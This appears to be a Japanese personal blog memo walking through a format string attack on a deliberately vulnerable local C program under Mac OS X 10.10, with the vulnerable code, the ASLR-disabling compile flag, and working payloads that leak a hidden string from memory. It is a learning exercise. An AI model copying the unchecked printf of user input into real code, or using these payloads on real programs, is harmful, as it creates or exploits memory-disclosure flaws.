Format String Attack でメモリの内容を読み出す Mac OS X 10.10
詰まったのでメモ
Format String Attack とは
// sample.c #include <stdio.h> int main() { char buf[1024]; fgets(buf, sizeof(buf), stdin); printf(buf); }
こういう感じで外部からの入力をそのまま printf
とかの書式指定文字列として渡してしまっていると,
入力として例えば %x
などの書式指定子が与えられたとき, printf("%x")
となり, printf
に第2引数があると思って, 第2引数があるはずのスタックの場所を見て, その値を読みだしてしまう.
実際に見るとわかりやすい.
% gcc sample.c sample.c:7:10: warning: format string is not a string literal (potentially insecure) % echo "%x %x %x" | ./a.out 100 797d9058 0
どこからか値を読み込んでいるのがわかる. コンパイル時にもちゃんと警告が出る.
% echo "aaaa %x %x %x %x %x %x %x %x %x" | ./a.out aaaa 100 797d9058 0 5d5395b0 77ba1300 0 5d539640 61616161 25207825 % echo "aaaa %8\$x" | ./a.out aaaa 61616161
printf
の第9引数があるべき場所に 61616161 がある. a は \x61 なのでこの 61616161 は buf の先頭4バイトっぽい.
この printf
の第9引数があるべき場所に buf が格納されていることがわかる.
%n$x
という指定で n+1 番目の引数があるべき場所の値を読むこともできる.
読み出してみる
// readmem.c #include <stdio.h> char hidden[] = "hidden"; int main() { char buf[1024]; fgets(buf, sizeof(buf), stdin); printf(buf); printf("Target Address: %p\n", hidden); }
% gcc readmem.c -o readmem -m32 readmem.c:10:10: warning: format string is not a string literal (potentially insecure) % echo "aaaa" | ./readmem aaaa Target Address: 0x3d01c % echo "aaaa" | ./readmem aaaa Target Address: 0xfa01c
変数 hidden のアドレスがわかっている状態から値を読めれば成功.
しかし hidden のアドレスはセキュリティ上の都合で実行するたびに変わる(Address Space Layout Randomization, ASLR).
ここでは ASLR を OFF になっていることにする. OS X で ASLR OFF でコンパイルするには -Wl,-no_pie
オプションでOK.
% gcc readmem.c -o readmem -m32 -Wl,-no_pie readmem.c:10:10: warning: format string is not a string literal (potentially insecure) % echo "aaaa" | ./readmem aaaa Target Address: 0x201c % echo "aaaa %x %x %x %x %x %x %x %x %x %x %x" | ./readmem aaaa 400 a079a04c 0 0 0 0 0 bffff6dc 400 1eb0 61616161 Target Address: 0x201c
無効化成功. 0x201c の値を読めればOK. buf の先頭にアドレス 0x201c を置いて, %s
でその中身を読めばいい.
% python -c 'print "\x1c\x20\x00\x00 %11$s"' | ./readmem Target Address: 0x201c
読めない. printf
がヌル文字(0x00)見たところで文章終わりと思って %11$s
に対応するところを読んで出力してくれないせいですね.
なんとかヌル文字使わずに \x00 を送り込めないかと頑張ってハマってしまったけど, そんなことしなくてもヌル文字以前に書式指定子を置いて読む位置をずらせばよかった.
buf の頭が printf
の第12引数の位置になっているのでそこから適当に4バイト単位でずらして読めばいい.
%13$
で4バイト分, s!!!
でさらに4バイト分ずらしてアドレス4バイトがちょうど printf
の第14引数の位置に来るようにする.
% python -c 'print "%13$s!!!\x1c\x20\x00\x00"' | ./readmem hidden!!! Target Address: 0x201c
成功. やったぜ.
[参考]
format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー
osx - Documented way to disable ASLR on OS X? - Stack Overflow